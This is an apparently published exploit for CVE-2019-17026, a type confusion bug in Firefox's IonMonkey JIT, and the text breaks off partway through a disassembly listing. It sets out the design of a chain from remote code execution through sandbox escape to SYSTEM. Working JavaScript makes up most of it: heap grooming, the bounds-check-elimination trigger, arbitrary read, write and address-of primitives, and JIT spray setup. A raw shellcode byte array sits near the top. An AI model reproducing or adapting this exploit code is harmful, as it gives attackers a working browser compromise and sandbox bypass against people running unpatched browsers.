# Exploit Title: Firefox 72 IonMonkey - JIT Type Confusion # Date: 2021-05-10 # Exploit Author: deadlock (Forrest Orr) # Vendor Homepage: https://www.mozilla.org/en-US/ # Software Link: https://www.mozilla.org/en-US/firefox/new/ # Versions: Firefox < 72 64-bit # Tested on: Windows 7 x64, Windows 8.1 x64, Windows 10 x64 # CVE: CVE-2019-17026 # Bypasses: DEP, ASLR, CFG, sandboxing # Credits: maxpl0it, 0vercl0k # Full explain chain writeup: https://github.com/forrest-orr/DoubleStar /* ________ ___. .__ _________ __ \______ \ ____ __ __\_ |__ | | ____ / _____/_/ |_ _____ _______ | | \ / _ \ | | \| __ \ | | _/ __ \ \_____ \ \ __\\__ \ \_ __ \ | ` \( <_> )| | /| \_\ \| |__\ ___/ / \ | | / __ \_| | \/ /_______ / \____/ |____/ |___ /|____/ \___ > /_______ / |__| (____ /|__| \/ \/ \/ \/ \/ Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain ______________ | Remote PAC | |____________| ^ | HTTPS _______________ RPC/ALPC _______________ RPC/ALPC _______________ | firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe | |_____________| |_____________| <----------- |_____________| | RPC/Pipe | _______________ | | malware.exe | <---| Execute impersonating NT AUTHORY\SYSTEM |_____________| ~ Component Firefox 64-bit IonMonkey JIT/Type Confusion RCE. Represents the initial attack vector when a user visits an infected web page with a vulnerable version of Firefox. This component contains a stage one (egg hunter) and stage two (WPAD sandbox escape) shellcode, the latter of which is only effective on Windows 8.1 due to hardcoded RPC IDL interface details for WPAD. _______________ JIT spray ______________ DEP bypass _______________________ | firefox.exe | -----------> | Egg hunter | ------------> | WPAD sandbox escape | |_____________| | shellcode | | shellcode (heap) | |____________| |_____________________| ~ Overview This is a Windows variation of CVE-2019-17026, an exploit targetting a type confusion bug in the IonMonkey engine of Firefox up to FF 72. Due to specific issues with heap grooming, this particular variant of CVE-2019-17026 only works on versions of Firefox up to FF 69 even though the bug was not fixed until FF 72 and is still technically exploitable on FF 70 and 71. CVE-2019-17026 represents the initial RCE vector in the Double Star exploit chain. Unlike my re-creation of CVE-2020-0674, which is limited to efficacy in IE/WPAD instances running within Windows 7 and 8.1 (with Windows 10 CFG and WPAD sandboxing being beyond the scope of this project in complexity to bypass) this particular exploit is effective on any version of Windows, including 10 provided that a vulnerable version of Firefox is installed. The reason for this is that presence of (and exploit usage of) a JIT engine in this exploit makes dealing with both DEP and CFG substantially easier. ~ Design This exploit contains two shellcodes: an egg hunter/DEP bypass shellcode (which is JIT sprayed) and a primary (stage two) shellcode stored as a static Uint8Array. The stage one (egg hunter) shellcode is responsible for scanning the entire memory space of the current firefox.exe process and finding the stage two shellcode on the heap. This is achieved by prefixing the stage two shellcode with a special 64-bit egg value which this egg hunter shellcode scans for. Once it has found the stage two shellcode, it uses KERNEL32.DLL!VirtualProtect to change its permissions to +RWX, and then directly executes it via a CALL instruction. The type confusion bug allows for an array boundscheck to be eliminated, thus allowing for an OOB R/W via a glitched array. The nursery heap (where the array is stored) is groomed so that 3 arrays are lined up in memory: [Array 1][Array 2][Array 3] The first array is used with the JIT bug to make an OOB write and corrupt the metadata of the second array. Specifically, it corrupts its length to allow for OOB R/W at will (without the JIT bug) which is subsequently used throughout the remainer of the exploit to corrupt the Native Object structure of the third array to build arbitrary R/W and AddressOf primitives. A JIT spray is then used to spray an egg hunter shellcode (encoded as double floats) into +RX memory, encapsulated in a do-nothing function. The JIT code pointer of this function is leaked and subsequently used with an egg hunter in the JS itself (using arbitrary read) to find the egg which marks the start of the egg hunter shellcode in +RX memory. In this sense, the exploit contains 2 egg hunters: a JS egg hunter which searches for a JIT sprayed egg hunter which in turn hunts for the full (stage two) WPAD sandbox escape shellcode. Once the JIT sprayed (stage one) egg hunter shellcode finds the stage two shellcode, it sets its memory region to +RWX and directly executes it. ~ Sandboxing The Firefox sandbox prevents access to the filesystem (besides a special sandbox temp directory) and registry but additionally (unlike IE11 on Windows 8.1) locks down access to the desktop window session (which prevents even a MessageBoxA from popping) and sets a child process creation quota of zero (preventing the creation of child processes). By adjusting the sandbox content level in the FF "about:config" settings some of these features can be disabled for testing purposes. For example, setting the content level down from "5" (the default) to "2" will allow MessageBoxA to pop as well as child process creation, however even when the content level is set down to "0" there are certain protections which will persist (such as inability to access the file system). One vector however which is not guarded by the sandbox is access to ALPC port objects, which can be used to initiate connections to LocalServer32 COM servers running in external (and potentially non-sandboxed or elevated) processes. This detail is exploited by this chain by utilizing a stage two shellcode which initiates an RPC (ALPC) connection to the WPAD service and triggers it to download and execute a PAC file from a remote URL containing CVE-2020-0674 into its own process (svchost.exe running as LOCAL SERVICE). In this way, the sandbox can be escaped via RPC/ALPC and simultaneously elevated from the current user session (which may have limited/non-administrator privileges) into a sensitive service process. ~ Credits maxpl0it - for writing the initial analysis and PoC for CVE-2019-17026 with a focus on the Linux OS. 0vercl0k - for documenting IonMonkey internals in relation to aliasing and the GVN. */ //////// //////// // Global helpers/settings //////// // Carefully read the overview comments of this exploit source. This is a simple MessageBoxA shellcode but due to sandboxing will not appear without the steps I outlined. To see the full Double Star exploit chain which can bypass the sandbox in full, read my research on it at: https://github.com/forrest-orr/DoubleStar const Shellcode = new Uint8Array([ 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0x48, 0xc7, 0xc1, 0x88, 0x4e, 0x0d, 0x00, 0xe8, 0x91, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc7, 0x48, 0xc7, 0xc2, 0x86, 0x57, 0x0d, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0xde, 0x00, 0x00, 0x00, 0x48, 0xb9, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x00, 0x00, 0x51, 0x48, 0x89, 0xe1, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0x48, 0xc7, 0xc2, 0x1a, 0xb8, 0x06, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0xab, 0x00, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x48, 0xb9, 0x70, 0x77, 0x6e, 0x65, 0x64, 0x00, 0x00, 0x00, 0x51, 0x49, 0x89, 0xe0, 0x48, 0xc7, 0xc1, 0x6e, 0x65, 0x74, 0x00, 0x51, 0x48, 0xb9, 0x65, 0x73, 0x74, 0x2d, 0x6f, 0x72, 0x72, 0x2e, 0x51, 0x48, 0xb9, 0x77, 0x77, 0x77, 0x2e, 0x66, 0x6f, 0x72, 0x72, 0x51, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc9, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x41, 0x50, 0x57, 0x56, 0x49, 0x89, 0xc8, 0x48, 0xc7, 0xc6, 0x60, 0x00, 0x00, 0x00, 0x65, 0x48, 0xad, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x78, 0x30, 0x48, 0x89, 0xfe, 0x48, 0x31, 0xc0, 0xeb, 0x05, 0x48, 0x39, 0xf7, 0x74, 0x34, 0x48, 0x85, 0xf6, 0x74, 0x2f, 0x48, 0x8d, 0x5e, 0x38, 0x48, 0x85, 0xdb, 0x74, 0x1a, 0x48, 0xc7, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0xe8, 0xa7, 0x01, 0x00, 0x00, 0x4c, 0x39, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0, 0x48, 0x8b, 0x36, 0xeb, 0xcb, 0x48, 0x8b, 0x46, 0x10, 0x5e, 0x5f, 0x41, 0x58, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0x50, 0x02, 0x00, 0x00, 0x57, 0x56, 0x48, 0x89, 0x4d, 0xf8, 0x48, 0x89, 0x55, 0xf0, 0x48, 0x31, 0xdb, 0x8b, 0x59, 0x3c, 0x48, 0x01, 0xd9, 0x48, 0x83, 0xc1, 0x18, 0x48, 0x8b, 0x75, 0xf8, 0x48, 0x31, 0xdb, 0x8b, 0x59, 0x70, 0x48, 0x01, 0xde, 0x48, 0x89, 0x75, 0xe8, 0x8b, 0x41, 0x74, 0x89, 0x45, 0xc0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x5e, 0x20, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x31, 0xdb, 0x8b, 0x5e, 0x24, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x5e, 0x1c, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xd0, 0x48, 0x31, 0xf6, 0x48, 0x89, 0x75, 0xc8, 0x48, 0x8b, 0x45, 0xe8, 0x8b, 0x40, 0x18, 0x48, 0x39, 0xf0, 0x0f, 0x86, 0x09, 0x01, 0x00, 0x00, 0x48, 0x89, 0xf0, 0x48, 0x8d, 0x0c, 0x85, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0xe0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x1c, 0x11, 0x48, 0x01, 0xd8, 0x48, 0x31, 0xd2, 0x48, 0x89, 0xc1, 0xe8, 0xf0, 0x00, 0x00, 0x00, 0x3b, 0x45, 0xf0, 0x0f, 0x85, 0xd3, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf0, 0x48, 0x8d, 0x14, 0x00, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x0f, 0xb7, 0x04, 0x02, 0x48, 0x8d, 0x0c, 0x85, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0xd0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x1c, 0x11, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xc8, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x89, 0xca, 0x48, 0x31, 0xdb, 0x8b, 0x5d, 0xc0, 0x48, 0x01, 0xda, 0x48, 0x39, 0xc8, 0x0f, 0x8c, 0x99, 0x00, 0x00, 0x00, 0x48, 0x39, 0xd0, 0x0f, 0x8d, 0x90, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x45, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x90, 0x48, 0x8d, 0x9d, 0xb0, 0xfd, 0xff, 0xff, 0x8a, 0x14, 0x08, 0x80, 0xfa, 0x00, 0x74, 0x28, 0x80, 0xfa, 0x2e, 0x75, 0x19, 0xc7, 0x03, 0x2e, 0x64, 0x6c, 0x6c, 0x48, 0x83, 0xc3, 0x04, 0xc6, 0x03, 0x00, 0x48, 0x8d, 0x9d, 0xb0, 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc1, 0xeb, 0xda, 0x88, 0x13, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc3, 0xeb, 0xd0, 0xc6, 0x03, 0x00, 0x48, 0x31, 0xd2, 0x48, 0x8d, 0x8d, 0xb0, 0xfd, 0xff, 0xff, 0xe8, 0x46, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x4e, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x2e, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x31, 0xd2, 0x48, 0x8d, 0x8d, 0xb0, 0xfe, 0xff, 0xff, 0xe8, 0x26, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc2, 0x48, 0x8b, 0x4d, 0xb8, 0xe8, 0x89, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x45, 0xc8, 0xeb, 0x09, 0x48, 0xff, 0xc6, 0x90, 0xe9, 0xe7, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x45, 0xc8, 0x5e, 0x5f, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x57, 0x48, 0x89, 0xd7, 0x48, 0x31, 0xdb, 0x80, 0x39, 0x00, 0x74, 0x1a, 0x0f, 0xb6, 0x01, 0x0c, 0x60, 0x0f, 0xb6, 0xd0, 0x01, 0xd3, 0x48, 0xd1, 0xe3, 0x48, 0xff, 0xc1, 0x48, 0x85, 0xff, 0x74, 0xe6, 0x48, 0xff, 0xc1, 0xeb, 0xe1, 0x48, 0x89, 0xd8, 0x5f, 0xc3 ]); var JITIterations = 0x10000; // Number of iterations needed to trigger JIT compilation of code. The compilation count threshold varies and this is typically overkill (10+ or 1000+ is often sufficient) but is the most stable count I've tested. var HelperBuf = new ArrayBuffer(8); var HelperDbl = new Float64Array(HelperBuf); var HelperDword = new Uint32Array(HelperBuf); //////// //////// // Debug/timer code //////// var EnableDebug = false; var EnableTimers = false; var AlertOutput = false; var TimeStart; var ReadCount; function StartTimer() { ReadCount = 0; TimeStart = new Date().getTime(); } function EndTimer(Message) { var TotalTime = (new Date().getTime() - TimeStart); if(EnableTimers) { if(AlertOutput) { alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } else { console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } } } function DebugLog(Message) { if(EnableDebug) { if(AlertOutput) { alert(Message); } else { console.log(Message); // In IE, console only works if devtools is open. } } } /*////// //////// // MIR Boundscheck elimination bug/OOB array logic //////// This is the primary logic exploiting the vulnerability itself. Fundamentally CVE-2019-17026 is an aliasing bug in the IonMonkey JIT engine: an overly strict aliasing type criteria can cause a potentially dangerous node such as MStoreElementHole to be discarded as a STORE dependency for a sensitive LOAD node such as MBoundsCheck. Thus in the event that a similar MBoundsCheck has already been declared within a JIT'd function, we can trick IonMonkey into believing these instructions to be congruent which will result in the elimination of the second MBoundsCheck by the GVN due to congruence rules: - LOAD instructions may be tied to their most recent STORE instruction as dependencies during the aliasing phase of JIT compilation. - After the aliasing phase comes the GVN phase, which eliminates redundant nodes via congruence rules for optimization purposes. - In order for two matching nodes (such as two boundschecks) to be considered for redundancy elimination via congruence rules they must have matching STORE dependencies. - In a secure engine (such as FF 72+) the MStoreElementHole node will ALWAYS be aliased to its following LOAD instruction regardless of whether operand types are perfectly matching. This will result in a boundscheck following an MStoreElementHole ALWAYS considering it to be a dependency and thus never resulting in boundscheck elimination. - In an insecure engine (such as being exploited here) the MStoreElementHole node will only be aliased to a following MBoundsCheck node if the two meet operand type criteria. - MStoreElementHole can be manipulated into acting upon a different operand type through use of a global sparse array. This will cause MBoundsCheck (which is acting upon a constant array object) to have a different operand type and thus thwart aliasing by IonMonkey. - MStoreElementHole can also be used to trigger side-effects, such as setting the length field of an array to 0 and heap grooming to prepare for an OOB access to this array. - As a result we may modify the .length field of an array prior to accessing it at an arbitrary index despite the boundscheck no longer existing. The following code demonstrates the bug: BugArray1[Index] = 4.2; SideEffectArray[SideEffectIndex] = 2.2; BugArray1[Index] = DblVal; IonMonkey will produce nodes corresponding to these instructions: MBoundsCheck MStoreElement MBoundsCheck MStoreElementHole <- This node may trigger side-effects MBoundsCheck <- This node will be eliminated by the optimizer MStoreElement <- This node will be used for the OOB array R/W Due to BugArray1[Index] having already been declared (and the boundscheck executed) IonMonkey will eliminate the third boundscheck node. This allows us to use the side-effect triggered by MStoreElementHole to set the modify the BugArray11.length field and perform heap grooming prior to the final BugArray1 access. The anatomy of an Array involves two data structures: a NativeObject which holds the primary pointers relating to the Array element data, property types, etc. struct NativeObject { void *GroupPtr; void *ShapePtr; void *SlotsPtr; void *ElementsPtr; // This does NOT point to the element metadata, it points OVER it to the actual element data itself. } Followed by an element metadata struct which holds data pertaining to the length, capacity and initialization size of the elements data itself: struct ElementsMetadata { uint32_t Flags; uint32_t InitializedLength; // The number of elements actually initialized (will be 0 when Array first declared). If you do Array(50) then set index 20 to something, the length will become 20 (and 0-19 will be allocated but marked uninitialized). uint32_t Capacity; // Storage allocated for the array uint32_t Length; // The literal .length property. Thus Array(50) even though it has an initialized length and capavity of 0 would have a length of 50. // ... } Followed finally by the actual element data of the array, which is pointed to by the NativeObject.ElementsPtr. The bug is converted into exploit primitives R/W/AddressOf by setting up 3 arrays in memory prior to executing the JIT bug: BugArray1 = new Array(0x20); BugArray2 = new Array(0x20); MutableArray = new Array(0x20); This will eventually result in the following memory layout in the nursery heap: [BugArray1.NativeObject][BugArray1.ElementsMetadata][Element data][BugArray2.NativeObject][BugArray2.ElementsMetadata][Element data][MutableArray.NativeObject][MutableArray.ElementsMetadata][Element data] Thus the OOB array access (via the JIT bug) will be used on BugArray1 to overwrite BugArray2.ElementsMetadata. Subsequently, BugArray2 may be used to make OOB R/W at will (without the need to repeat the JIT bug) and overwrite the MutableArray.NativeObject in order to build the primitives for the remainer of the exploit. Prior to doing this, it is essential to do some heap grooming to prepare for the OOB array access from BugArray1 to corrupt BugArray2.ElementsMetadata. Re-visiting the vulnerable JS code: BugArray1[Index] = 4.2; SideEffectArray[SideEffectIndex] = 2.2; BugArray1[Index] = DblVal; Access to the SideEffectArray may be used to trigger some arbitrary code of our choice prior to the second (vulnerable/no boundscheck) BugArray1 access. This is used to set the .length field of the BugArray1, BugArray2 and MutableArray arrays to zero and trigger the garbage collector. After doing so, these three arrays will appear on the nursery heap as follows: 000000000B5BF100 000000000B5A5A60 <- BugArray1.NativeObject 000000000B5BF108 000000000B5C21C8 000000000B5BF110 0000000000000000 000000000B5BF118 000000000B5BF130 <- BugArray1.NativeObject.ElementsPtr 000000000B5BF120 0000000000000000 <- BugArray1.ElementsMetadata 000000000B5BF128 0000000000000006 000000000B5BF130 FFFA800000000000 <- BugArray1 raw element data 000000000B5BF138 FFFA800000000000 000000000B5BF140 FFFA800000000000 000000000B5BF148 FFFA800000000000 000000000B5BF150 FFFA800000000000 000000000B5BF158 FFFA800000000000 000000000B5BF160 000000000B5A5A90 <- BugArray2.NativeObject 000000000B5BF168 000000000B5C21C8 000000000B5BF170 0000000000000000 000000000B5BF178 000000000B5BF190 000000000B5BF180 0000007E00000000 <- Overwritten BugArray2.ElementsMetadata (note QWORD index 10 from the start of BugArray1.NativeObject.ElementsPtr) 000000000B5BF188 0000007E0000007E 000000000B5BF190 0000000000000000 <- BugArray2 raw element data 000000000B5BF198 0000000000000000 000000000B5BF1A0 0000000000000000 000000000B5BF1A8 0000000000000000 000000000B5BF1B0 0000000000000000 000000000B5BF1B8 0000000000000000 000000000B5BF1C0 000000000B5A5AC0 <- MutableArray.NativeObject 000000000B5BF1C8 000000000B5C21C8 000000000B5BF1D0 0000000000000000 000000000B5BF1D8 000000000B5BF1F0 000000000B5BF1E0 0000000000000000 <- MutableArray.ElementsMetadata 000000000B5BF1E8 0000000000000006 000000000B5BF1F0 0000000000000000 <- MutableArray raw element data 000000000B5BF1F8 0000000000000000 000000000B5BF200 0000000000000000 This layout is then used in conjunction with the JIT bug to begin the array corruption. */ // Note that these arrays cannot be declared as vars SideEffectArray = [1.1, 1.2, , 1.4]; // MStoreElementHole access to a global sparse array is the unique edge case causes aliasing with MBoundsCheck to fail due to operand type mismatch BugArray1 = new Array(0x20); // This array will be used (after heap grooming) to make the OOB overwrite of BugArray2.ElementsMetadata. The heap grooming requires the .length be set to 0, but the length will not matter due to boundscheck elimination (the capacity however still will). BugArray2 = new Array(0x20); // This array will be used to read and set pointers reliably and repeatably in MutableArray MutableArray = new Array(0x20); // The NativeObject of this array are corrupted to build the exploit primitives SideEffectArray.__defineSetter__("-1", function(x) { // Side effects called for OOB SideEffectArray access at index -1 // Key to understand here is that setting these lengths to 0 and having GC manipulate them into pointing at each other could be done without the boundscheck elimination bug. The boundscheck elimination bug however is what allows them to actually access each other, as it is necessary to set .length to 0 to do the GC trick and the boundschecks are based on .length. Note that access to all of these arrays will still be limited by their capacity metadata field despite elimination of their .length boundscheck. BugArray1.length = 0; BugArray2.length = 0; MutableArray.length = 0; GC(); }); function GC() { // Call the GC - Phoenhex function BufSize = (128 * 1024 * 1024); // 128MB for(var i = 0; i < 3; i++) { var x = new ArrayBuffer(BufSize); // Allocate locally, but don't save } } function BuggedJITFunc(SideEffectIndex, Index, DblVal) { // Removes future bounds checks with GVN BugArray1[Index] = 4.2; BugArray1[Index - 1] = 4.2; // Triggers the side-effect function when a -1 index provided SideEffectArray[SideEffectIndex] = 2.2; // Write OOB and corrupt BugArray2.ElementsMetadata. Normally boundscheck would prevent this based on .length. Note that despite the bugged elimination of this check, access is still limited to the BugArray1.ElementsMetadata capacity metadata field. BugArray1[Index] = DblVal; // Corrupt the BugArray2.ElementsMetadata capacity and length element metadata - 0x7e 0x00 0x00 0x00 0x7e 0x00 0x00 0x00 BugArray1[Index - 1] = 2.673714696616e-312; // Corrupt the BugArray2.ElementsMetadata flags and initialized length element metadata - 0x00 0x00 0x00 0x00 0x7e 0x00 0x00 0x00 } for(var i = 0; i < JITIterations; i++) { SideEffectArray.length = 4; // Reset the length so that StoreElementHole node is used BuggedJITFunc(5, 11, 2.67371469724e-312); } // Call the JIT'd bugged function one more time, this time with an OOB write index of -1. There is substantial significance to using -1 as opposed to some other (larger) index which would still go OOB and trigger a side effect. The reason being that -1 is considered an "invalid index" (not just an OOB index) and is treated differently. OOB writes to the SideEffectArray with valid albeit indexes which will fail the boundscheck restrictions and will not trigger useful side effects. The reason for this being that access to valid indexes will cause the creation of a MSetPropertyCache node in the MIR, a node which is not susceptible to the exploit condition. The MIR instruction chosen to handle the SideEffectArray OOB MUST be MStoreElementHole, and MStoreElementHole will only be selected in the event of an INVALID index access, not simply an OOB one. SideEffectArray.length = 4; // Reset the length one more time BuggedJITFunc(-1, 11, 2.67371469724e-312); // Initialize mutable array properties for R/W/AddressOf primitives. Use these specific values so that it can later be verified whether slots pointer modifications have been successful. MutableArray.x = 5.40900888e-315; // Most significant bits are 0 - no tag, allows an offset of 4 to be treated as a double MutableArray.y = 0x41414141; MutableArray.z = 0; // Least significant bits are 0 - offset of 4 means that y will be treated as a double /*////// //////// // Arbitrary read/write/address-of primitives //////// ~ Weak arbitrary read 8 bytes of data can be leaked from the address pointed to by the mutable array NativeObject.SlotsPtr, as this address is interpreted as holding the value of 'x' (stored as a double). The drawback is that if the 8 bytes cannot be interpreted as a valid double, they may be interpreted as a pointer and dereferenced. In this sense, some values may not be be readable with this primitive. ~ Weak arbitrary write In the same way that the 'x' property pointed at by the slots pointer can be used to read doubles it can also be used to write doubles. The only drawback being that the value being written must be a valid double. ~ Weak AddressOf The mutable array slots pointer (in its native object struct) is going to be pointing at an array of 3 property values (for x, y and z). Since we are trying to leak the object address (which will be written into the property array slots for x, y or z) as a double, this will cause issues as the JS engine will (correctly) attempt to dereference this address rather than interpret it as a double. Thus the trick is to set the slots pointer in the mutable array native object ahead by 4 bytes. This the result that the object address (previously only in the "y" slot) can now be partially read (32-bits at a time) from both "x" and "y" and that these values are now certain to be valid doubles. We can ensure the resulting double is valid by using bitwise AND to filter off the significant bits responsible for differentiating between a valid and non-valid double. ~ Strong arbitrary read This primitive solves the issue of attempting to read 8 bytes in memory which may be invalid doubles and thus misinterpreted as pointers (for example if the tagged pointer bits are set). The solution is to simply create a double float array, and then overwrite its data pointer to point to the precise region we want to read. The key concept here is that it reduces the ambiguity on the part of the JS engine. Since the JS engine knows that the value at this address is explicitly a double float, it will not attempt to potentially interprete it as an object pointer even if those tagged bits are set. */ function WeakLeakDbl(TargetAddress) { SavedSlotsPtr = BugArray2[8]; BugArray2[8] = TargetAddress; LeakedDbl = MutableArray.x; BugArray2[8] = SavedSlotsPtr; return LeakedDbl; } function WeakWriteDbl(TargetAddress, Val) { SavedSlotsPtr = BugArray2[8]; BugArray2[8] = TargetAddress; MutableArray.x = Val; BugArray2[8] = SavedSlotsPtr; } function WeakLeakObjectAddress(Obj) { SavedSlotsPtr = BugArray2[8]; // x y z // MutableArray.NativeObj.SlotsPtr -> [0x????????????????] | [Target object address] | [0x????????????????] MutableArray.y = Obj; // x y z // MutableArray.NativeObj.SlotsPtr -> [0x????????Target o] | [bject adress????????] | [0x????????????????] HelperDbl[0] = BugArray2[8]; HelperDword[0] = HelperDword[0] + 4; BugArray2[8] = HelperDbl[0]; // Patch together a double of the target object address from the two 32-bit property values HelperDbl[0] = MutableArray.x; LeakedLow = HelperDword[1]; HelperDbl[0] = MutableArray.y; // Works in release, not in debug (assertion issues) LeakedHigh = HelperDword[0] & 0x00007fff; // Filter off tagged pointer bits BugArray2[8] = SavedSlotsPtr; HelperDword[0] = LeakedLow; HelperDword[1] = LeakedHigh; return HelperDbl[0]; } ExplicitDblArray = new Float64Array(1); // Used for the strong read ExplicitDblArrayDataPtr = null; // Save the pointer to the data pointer so we don't have to recalculate it each read function ExplicitLeakDbl(TargetAddress) { WeakWriteDbl(ExplicitDblArrayDataPtr, TargetAddress); return ExplicitDblArray[0]; } /*////// //////// // JIT spray/egghunter shellcode logic //////// JIT spray in modern Firefox 64-bit on Windows seems to behave very differently when a special threshold of 100 double float constants are planted into a single function and JIT sprayed. When more than 100 are implanted, the JIT code pointer for the JIT sprayed function will look as follows: 00000087EB6F5280 | E9 23000000 | jmp 87EB6F52A8 <- JIT code pointer for JIT sprayed function points here 00000087EB6F5285 | 48:B9 00D0F2F8F1000000 | mov rcx,F1F8F2D000 00000087EB6F528F | 48:8B89 60010000 | mov rcx,qword ptr ds:[rcx+160] 00000087EB6F5296 | 48:89A1 D0000000 | mov qword ptr ds:[rcx+D0],rsp 00000087EB6F529D | 48:C781 D8000000 0000000 | mov qword ptr ds:[rcx+D8],0 00000087EB6F52A8 | 55 | push rbp 00000087EB6F52A9 | 48:8BEC | mov rbp,rsp 00000087EB6F52AC | 48:83EC 48 | sub rsp,48 00000087EB6F52B0 | C745 E8 00000000 | mov dword ptr ss:[rbp-18],0 ... 00000087EB6F5337 | 48:BB 4141414100000000 | mov rbx,41414141 <- Note the first double float being loaded into RBX 00000087EB6F5341 | 53 | push rbx 00000087EB6F5342 | 49:BB D810EAFCF1000000 | mov r11,F1FCEA10D8 00000087EB6F534C | 49:8B3B | mov rdi,qword ptr ds:[r11] 00000087EB6F534F | FF17 | call qword ptr ds:[rdi] 00000087EB6F5351 | 48:83C4 08 | add rsp,8 00000087EB6F5355 | 48:B9 40807975083D0000 | mov rcx,3D0875798040 00000087EB6F535F | 49:BB E810EAFCF1000000 | mov r11,F1FCEA10E8 00000087EB6F5369 | 49:8B3B | mov rdi,qword ptr ds:[r11] 00000087EB6F536C | FF17 | call qword ptr ds:[rdi] 00000087EB6F536E | 48:BB 9090554889E54883 | mov rbx,8348E58948559090 00000087EB6F5378 | 53 | push rbx 00000087EB6F5379 | 49:BB F810EAFCF1000000 | mov r11,F1FCEA10F8 00000087EB6F5383 | 49:8B3B | mov rdi,qword ptr ds:[r11] 00000087EB6F5386 | FF17 | call qword ptr ds:[rdi] 00000087EB6F5388 | 48:83C4 08 | add rsp,8 00000087EB6F538C | 48:B9 40807975083D0000 | mov rcx,3D0875798040 00000087EB6F5396 | 49:BB 0811EAFCF1000000 | mov r11,F1FCEA1108 00000087EB6F53A0 | 49:8B3B | mov rdi,qword ptr ds:[r11] 00000087EB6F53A3 | FF17 | call qword ptr ds:[rdi] ... Rather than implanting the double float constants into the JIT'd code region as an array of raw constant data, the JIT engine has created a (very large) quantity of code which manually handles each individual double float one by one (this code goes on much further than I have pasted here). You can see this at: 00000087EB6F5337 | 48:BB 4141414100000000 | mov rbx,41414141 This is the first double float 5.40900888e-315 (the stage one shellcode egg) being loaded into RBX, where each subsequent double is treated the same. In contrast, any JIT sprayed function with less than 100 double floats yields a substantially different region of code at its JIT code pointer: 000002C6944D4470 | 48:8B4424 20 | mov rax,qword ptr ss:[rsp+20] <- JIT code pointer for JIT sprayed function points here 000002C6944D4475 | 48:C1E8 2F | shr rax,2F 000002C6944D4479 | 3D F3FF0100 | cmp eax,1FFF3 000002C6944D447E | 0F85 A4060000 | jne 2C6944D4B28 ... 000002C6944D4ACB | F2:0F1180 C00A0000 | movsd qword ptr ds:[rax+AC0],xmm0 000002C6944D4AD3 | F2:0F1005 6D030000 | movsd xmm0,qword ptr ds:[2C6944D4E48] 000002C6944D4ADB | F2:0F1180 C80A0000 | movsd qword ptr ds:[rax+AC8],xmm0 000002C6944D4AE3 | F2:0F1005 65030000 | movsd xmm0,qword ptr ds:[2C6944D4E50] 000002C6944D4AEB | F2:0F1180 D00A0000 | movsd qword ptr ds:[rax+AD0],xmm0 000002C6944D4AF3 | F2:0F1005 5D030000 | movsd xmm0,qword ptr ds:[2C6944D4E58] 000002C6944D4AFB | F2:0F1180 D80A0000 | movsd qword ptr ds:[rax+AD8],xmm0 000002C6944D4B03 | 48:B9 000000000080F9FF | mov rcx,FFF9800000000000 000002C6944D4B0D | C3 | ret 000002C6944D4B0E | 90 | nop 000002C6944D4B0F | 90 | nop 000002C6944D4B10 | 90 | nop 000002C6944D4B11 | 90 | nop 000002C6944D4B12 | 90 | nop 000002C6944D4B13 | 90 | nop 000002C6944D4B14 | 90 | nop 000002C6944D4B15 | 90 | nop 000002C6944D4B16 | 49:BB 30B14E5825000000 | mov r11,25584EB130 000002C6944D4B20 | 41:53 | push r11 000002C6944D4B22 | E8 C9C6FBFF | call 2C6944911F0 000002C6944D4B27 | CC | int3 000002C6944D4B28 | 6A 00 | push 0 000002C6944D4B2A | E9 11000000 | jmp 